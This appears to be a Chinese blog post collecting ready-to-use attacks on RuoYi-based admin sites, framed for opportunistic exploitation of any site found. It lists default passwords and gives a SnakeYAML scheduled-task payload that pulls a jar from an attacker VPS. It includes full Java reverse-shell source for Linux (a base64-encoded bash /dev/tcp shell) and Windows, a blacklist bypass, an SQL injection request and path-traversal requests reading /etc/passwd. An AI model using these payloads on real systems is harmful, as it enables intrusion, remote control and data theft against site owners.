碰到若依的站现在是越来越多了,既然量上来了,那肯定是要做下记录。下次遇见就直接把poc都扔上去,有洞就收,没洞就直接跑路:)
默认口令
看了下ruoyi的源码,后台初始化是有几个默认账号的
- admin:admin123
- ry:123456
若开启了druid服务,路径一般为:/druid/index.html
- root:123456
配合ruoyi的服务
- alibaba druid
- alibaba nacos
- spring
- redis
- mysql
- minio
- fastjson
- shiro
- swagger-ui.html
- mybatis
定时任务RCE
如果你能顺利进入后台,那就成功了一小半。进去后直接找定时任务

如果没有该标签,应该是被隐藏了,通过如下方法设为启用状态即可

或者直接访问路径:/monitor/job。现在演示一下反弹shell的操作

这里的 调用目标字符串 poc为:
1
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps_ip:vps_port"]]]]')
|
如果http被加入黑名单,可采用h’t’t’p://方式绕过。然后需要修改编译如下项目的jar包
1 2
| 项目地址: https://github.com/Y4er/yaml-payload
|
修改其项目文件:yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
这里建议复制如下代码直接替换源文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package artsploit;
import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX3Zwc19pcC92cHNfcG9ydCAwPiYx}|{base64,-d}|{bash,-i}"); // 这里填入编码后的语句即可保存 } catch (IOException e) { e.printStackTrace(); } }
@Override public String getEngineName() { return null; }
@Override public String getEngineVersion() { return null; }
@Override public List<String> getExtensions() { return null; }
@Override public List<String> getMimeTypes() { return null; }
@Override public List<String> getNames() { return null; }
@Override public String getLanguageName() { return null; }
@Override public String getLanguageVersion() { return null; }
@Override public Object getParameter(String key) { return null; }
@Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
@Override public String getOutputStatement(String toDisplay) { return null; }
@Override public String getProgram(String... statements) { return null; }
@Override public ScriptEngine getScriptEngine() { return null; } }
|
注意:反弹shell语句需要编码

备注:此替换源代码来源于项目:https://github.com/artsploit/yaml-payload
文件修改完成后,编译运行生成jar包
1 2
| javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
|
将生成的新jar包上传至自己的vps,使用python起一个简单的web服务(python3 -m http.server port),同时在起一个nc -lvvp 进行端口监听即可。最后把计划任务启动即可接受shell了。
Windows 反弹shell
当目标服务器类型为windows,将AwesomeScriptEngineFactory.java的内容替换成如下源代码,并将其中的host与port修改,再进行编译即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| package artsploit;
import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() throws java.io.IOException, InterruptedException { try { String host="ip"; int port=port; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); java.net.Socket s=new java.net.Socket(host,port); java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) { so.write(pi.read()); } while(pe.available()>0) { so.write(pe.read()); } while(si.available()>0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close(); } catch (IOException e) { e.printStackTrace(); } }
@Override public String getEngineName() { return null; }
@Override public String getEngineVersion() { return null; }
@Override public List<String> getExtensions() { return null; }
@Override public List<String> getMimeTypes() { return null; }
@Override public List<String> getNames() { return null; }
@Override public String getLanguageName() { return null; }
@Override public String getLanguageVersion() { return null; }
@Override public Object getParameter(String key) { return null; }
@Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
@Override public String getOutputStatement(String toDisplay) { return null; }
@Override public String getProgram(String... statements) { return null; }
@Override public ScriptEngine getScriptEngine() { return null; } }
|
备注:此替换源代码来源于项目:https://github.com/bkfish/yaml-payload-for-Win
剩下的流程都是一样的^^,感谢师傅的分享
ruoyi sql注入
后台登陆获得Cookie之后直接抓包修改,poc如下,填入ip与cookie即可:
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /system/role/list HTTP/1.1 Host: target_ip User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: target_cookie Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 178
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
|
ruoyi任意文件下载-1
同样的,这也需要登录后台获取Cookie后才能执行的漏洞,exp如下
1 2 3 4 5 6 7 8 9 10 11
| GET /common/download/resource?resource=/profile/../../../../../../etc/passwd HTTP/1.1 Host: target_ip User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: target_cookie Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
|
ruoyi任意文件下载-2
需要登录后台抓包获取session后,在定时任务处创建任务调用Bean: ruoYiConfig.setProfile(‘/etc/passwd’),编辑好后保存,点击执行一次后抓包,修改如下即可看到相应的文件内容
1 2 3 4 5 6 7 8 9 10
| GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1 Host: targetip:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=target_session Upgrade-Insecure-Requests: 1
|
或者你也可以直接访问路径:/common/download/resource?resource=Info.xml:.zip 下载文件查看
ruoyi jdbc template sql注入
这里也是用到定时任务,需要调用:jdbcTemplate.execute()来执行sql语句。填入的语句需要进行hex。
shiro命令执行
这个扫描器配合工具撸就完事了…………
OVER~